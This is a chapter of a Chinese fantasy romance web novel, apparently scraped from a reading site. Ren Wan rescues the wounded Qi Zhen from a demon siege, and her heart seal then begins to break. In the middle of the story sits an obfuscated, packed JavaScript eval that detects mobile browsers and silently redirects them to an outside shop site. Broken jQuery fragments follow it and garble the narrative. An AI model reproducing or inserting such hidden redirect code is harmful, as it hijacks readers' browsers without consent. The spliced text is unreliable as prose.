第113章 最后的心魂,在她心口
    下一刻,正当她提前走出殿外之际,秦翌和江涟漪的身形出现在雨中。

    江涟漪回头望了眼任晚。“阿晚,他在墨戎!快去——”

    淋漓的雨打在她脸上,

    遮住了些许视线,任晚狠狠点了点头,提剑从秦翌他们为她撕开的缺口处飞身离去。

    刀剑灵光相击之声,连着眼泪,都被她抛到了脑后。

    拿着绛清扇,任晚终于到了墨戎上空。

    心里越发心忧,就越不该失了方寸,手中骸音剑颤了颤,剑尖指向一处。

    任晚循着看去,终于,在后山,一缕赤红血气飘出。

    她立即纵身到了后山之上。

    然而,入目景象却让她心头一缩,亓鸩一人身处重重围困之中,身周数百魔族人。

    磅礴的魔气冲天,

    这群人里,随意哪一个出来,修为都远在她之上。

    过了一会,任晚手持骸音,闯入了最中心。

    “阿晚?!”亓鸩嘴上溢出鲜血,语气里,忧恐之意过甚。

    任晚背对着他,咬牙道:“今日,你答应过我,我们不会有一个人死在这里。”

    “这句话,我当真了,你不要食言!”她再度提剑,向前而去。

    亓鸩望着他,也重新抬起鲜血淋漓的手臂,身形穿梭在魔气之间。

    杀了多少魔族,受了多少伤,她已经记不得了,

    只是觉得麻木而疲惫

    ……

    终于,亓鸩的血气洞穿最后一人眉心。

    他才泄力,往下滑倒——

    任晚的手抖得没办法控制,就连骸音剑的剑柄也在发烫,

    原本通体玉脂色的长剑,已经全然变成了赤红。

    天上雨已停,地上泥泞不堪,汇聚的水流携着鲜血往低处而去,

    任晚口中喘着粗气,手中的骸音剑化成了玉骨簪。

    那边的亓鸩倒在了一棵老树下,看样子,正是那晚他们见过的那棵。

    任晚拖着沉重的身躯,走到了他身侧,直接跪坐在了他身边。

    他一身雪白衣衫,染尽了鲜血,雨水,泥泞,狼狈得很。

    就连眼上的遮光绫下,也流出鲜血……

    “亓鸩——,”任晚小心翼翼地喊着他,“亓鸩——”

    他没理他,

    身上也是冰凉一片,看着已经全然死寂。

    眼中的泪水涌出,一瞬就将她的视线模糊,

    任晚不管不顾,仍旧不懈地一遍遍颤抖地喊他,“……亓鸩,你不要睡——”

    一滴滴带着温热的泪水砸在他脸上,冲淡了血气。

    “阿……晚。”

    这是极其微弱的一声。

    任晚屏住了呼吸,把头放到他嘴边,感受到了一点点颤动,和温度。

    “我……我不死,我要娶——你——”

    任晚听到这终于哭出来,把这么久压抑的悲痛都倾吐而出。

    亓鸩的意识终于回笼,伸手摸到了任晚的手,问她,“阿晚,这是在哪儿?”

    “吸——”任晚吸着气,回答他:“这是墨戎后山上,旁边,旁边有棵树。”

    她语中带着哭腔,说出的话却很清晰。

    意识到这是在哪儿之后,亓鸩把她的手攥得更紧,语气偏执,非要离开这里。

    “我们不要在这里,我们走……”

    然而,他耗尽了气力,却没办法起身。

    终于,他叹了口气,“阿晚,你可不可以不要走。”

    虽然不知道他怎么了,但任晚依旧软下语气,“我答应你,我不走,我们就待在这,等江姐姐来救我们。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14236361|151415||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”

    “好。”

    任晚的腕骨,是亓鸩紧紧的桎梏。

    他们就这样,静静地待了一会儿,任晚冷不丁地开口。

    她语气很轻,“亓鸩……今日已经是冬月二十了,你能不能给我讲讲寒渊那边,是怎么样的?”

    亓鸩意识昏沉,却不敢睡,

    听了任晚的话,他开始在为数不多的记忆里,找寻着那些能称得上好的东西。

    “那儿的春日,虽然草木不多,但在惊蛰之后,也会有很多的花盛开。”

    “祠堂外的那棵槐树尤甚……”

    “夏日,一点也不热。”

    “从四月到八九月,水奴都在水下采集东珠,那时的寒渊会很热闹。”

    “秋叶静落,冬日落雪,寒渊冰封……”

    他说着说着,声音逐渐小了下去,意识深陷。

    【那是他出生的地方,真想去看看啊——】

    然而任晚面色骤变,终于忍不住,口中呕出一滩血来,落到了亓鸩身上。

    慌忙间,她伸手去擦,然而,心口一阵阵地疼,令她连吸气也不敢。

    从来没有像今日这样疼,

    心口上的封印已经碎了大半,那里的心魂,几乎已经穿透了她的胸膛。

    “啊啊啊啊啊!——啊!”

    凄厉的惨叫自她口中传出。

    浑身都在痉挛,她颤着手去触心口的赤红,是惊人的滚烫。

    好一阵,任晚觉得就快死了。

    但是,当戚苍暮留在她脖子上的印记发烫之时,任晚心口绞痛暂歇。

    【戚苍暮就要来这儿了!】

    任晚喘着粗气,视线回到亓鸩身上,她蹭到了亓鸩身边,

    小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!